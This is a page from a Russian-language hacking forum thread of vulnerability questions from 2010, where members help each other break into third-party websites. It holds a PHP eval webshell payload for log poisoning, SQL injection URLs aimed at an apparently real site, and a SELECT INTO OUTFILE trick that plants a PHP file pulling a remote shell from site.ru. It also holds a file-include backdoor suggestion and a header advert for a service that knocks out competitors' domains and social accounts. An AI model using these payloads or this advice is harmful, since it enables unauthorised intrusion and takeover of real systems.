Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1262 из 2422

1262

Опции темы

Поиск в этой теме

Опции просмотра

04.05.2010, 09:23

kfor

Участник форума

Регистрация: 01.09.2005

Сообщений: 194

С нами: 10889431

Репутация: 34

Цитата:

Сообщение от shell_c0de

<?php file_get_contents('http://site.ru/<?php eval(stripslashes($_REQUEST[cmd]));?>');?>

Спасибо большое. Но чё то или я туплю или даже хз, но в логах ngnix , но в логах чё то не появляется мой запрос

𝕏 Twitter Reddit Telegram Копировать ссылку

03.05.2010, 21:34

IMMORTAL_S

Новичок

Регистрация: 29.04.2010

Сообщений: 19

С нами: 8440113

Репутация: 3

Всем привет! наткнулся на такую ошибку...

Код:

Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 42 in /home/site/public_html/php/config/functions.php on line 931

Урл вида: http://.sita.net/index.php?id=11&new=-6
Можно ли провести инъекцию

03.05.2010, 21:34

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

pinch
http://www.retention.se/news.asp?id=1+and+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES)&pg=1

и далее по сценарию

======================

Pashkela
Опять у тебя ненужные навороты. Они запутывают людей
Зачем

Цитата:

http://www.retention.se/news.asp?id=1+or+1=convert(int,@@version)&pg=1

Если
http://www.retention.se/news.asp?id=1+or+1=@@version&pg=1

03.05.2010, 22:11

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

спасибо. оказывается фильтры на: select, or, OR, --
а я из мухи слона делаю

03.05.2010, 23:39

[ DSU ]

Участник форума

Регистрация: 22.10.2007

Сообщений: 159

С нами: 9765026

Репутация: 397

Потому что это тхт файл который не выполняется =/
Надо с раширением php залить.

03.05.2010, 23:41

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

Может, потому что там file_get_contents, а не инклуд?

03.05.2010, 23:49

[ DSU ]

Участник форума

Регистрация: 22.10.2007

Сообщений: 159

С нами: 9765026

Репутация: 397

Бгг да точно) но как бы он его как-то залил... логика значит надо залить с другим расширением ато да читалка)

03.05.2010, 23:52

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

Такая ситуация:
Есть PhpMyAdin права полный Root
Делаю запрос вида
select '<? @include("http://site.ru/files/shell.txt"); ?>' into outfile 'D:/WWW/files/shell.php';
Создаеться файл .php, но когда захожу на него, там пустой белый лист!!!

А когда делаю запрос
select '<? phpinfo(); ?>' into outfile 'D:/WWW/files/info.php';
выводиться полный phpinfo!!

что может быть не так?

04.05.2010, 00:23

.:[melkiy]:.

Постоянный

Регистрация: 25.01.2009

Сообщений: 368

С нами: 9100556

Репутация: 912

Цитата:

Сообщение от GOGA075

allow_url_include off скорее всего

#10

04.05.2010, 00:01

[ DSU ]

Участник форума

Регистрация: 22.10.2007

Сообщений: 159

С нами: 9765026

Репутация: 397

попробуй залить include($_GET[file]) ...

Страница 1262 из 2422

1262

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57